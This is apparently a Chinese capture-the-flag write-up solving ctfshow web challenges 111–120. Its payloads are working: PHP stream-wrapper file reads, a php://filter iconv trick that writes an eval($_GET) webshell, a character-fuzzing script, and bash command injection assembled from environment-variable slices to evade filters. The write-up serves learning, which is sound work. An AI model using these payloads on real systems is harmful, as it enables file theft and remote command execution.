web111
分析代码

v1必须等于ctfshow,v2使用全局变量
?v1=ctfshow&v2=GLOBALS

web112
分析代码

使用伪协议
?file=php://filter/resource=flag.php

web113
分析代码

使用zlib:// 伪协议
?file=compress.zlib://flag.php

web114
分析代码

file=php://filter/resource=flag.php

web115
分析代码

使用%0c(换页符)绕过

web116
下载视频,使用随波逐流打开

使用foremost分离,发现一张图片

分析代码可知不传参会默认下载视频,传参会读取文件
?file=flag.php
将下载的文件改成.php,打开文件获得flag

web117
分析代码

filter没有过滤,利用convert.iconv.UCS-2BE.UCS-2LE过滤器
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=hack.php
contents=?<hp pe@av(l_$EG[T]1;)>?
访问hac.php
/hack.php?1=system('tac flag.php');

web118

发现过滤了很多字符,写一个脚本来判断什么字符可以输入
点击查看代码
import requests
import stringurl = "http://508c84d2-774f-4d2f-8104-8b80c0f20b8a.challenge.ctf.show/"
list = string.ascii_letters+string.digits+"~!@#$%^&*()_+-=[]|;':,./<>?"white_list=""for payload in list:data = {"code":payload}res = requests.post(url,data=data)if "evil input" not in res.text:white_list+=payloadprint(f"当前白名单: {white_list}")

可以发现可以输出大写字母和一些符号,可以通过环境变量来构造命令
利用各个环境变量的最后一位来构造命令
${PWD}表示当前所在的目录
一般的话都会是/var/www/html
${PATH}表示文件位置相关的环境变量
基本上指的是根目录下的bin目录
即:/var/www/html # ls /bin那么${PWD:~A}的结果就是字母 l
而${PATH:~A}的结果是字母 n
这里的~A代表是最后一位字符,相应B就是导数第二位字符。同样数字的话0就是最后一位字符
它们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php
构造payload${PATH:~A}${PWD:~A}$IFS????.??

web119

跟上一关一样先跑一下可以输入什么字符

要使用/bin/base64 flag.php,只需要构造/和4就行了
$PWD和${PWD} 表示当前所在的目录 /var/www/html
${#PWD} 13 前面加个#表示当前目录字符串长度
${PWD:3} r/www/html 代表从第几位开始截取到后面的所有字符(从零开始)
${PWD:~3} html 代表从最后面开始向前截取几位(从零开始)
${PWD:3:1} r
${PWD:~3:1} h
${PWD:~A} l 这里的A其实就是表示1
${SHLVL:~A} 1 代表数字1
${#RANDOM} 随机数
构造payload${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM}${IFS}????.???
多试几次,因为${#RANDOM}是随机的

解码得到flag

web120
分析代码

可以使用上一关的payload,发现长度超过了限制,但是不影响,因为没有禁用空格,可以用空格代替${IFS},跟上一关一样要多试几次

解码得到flag
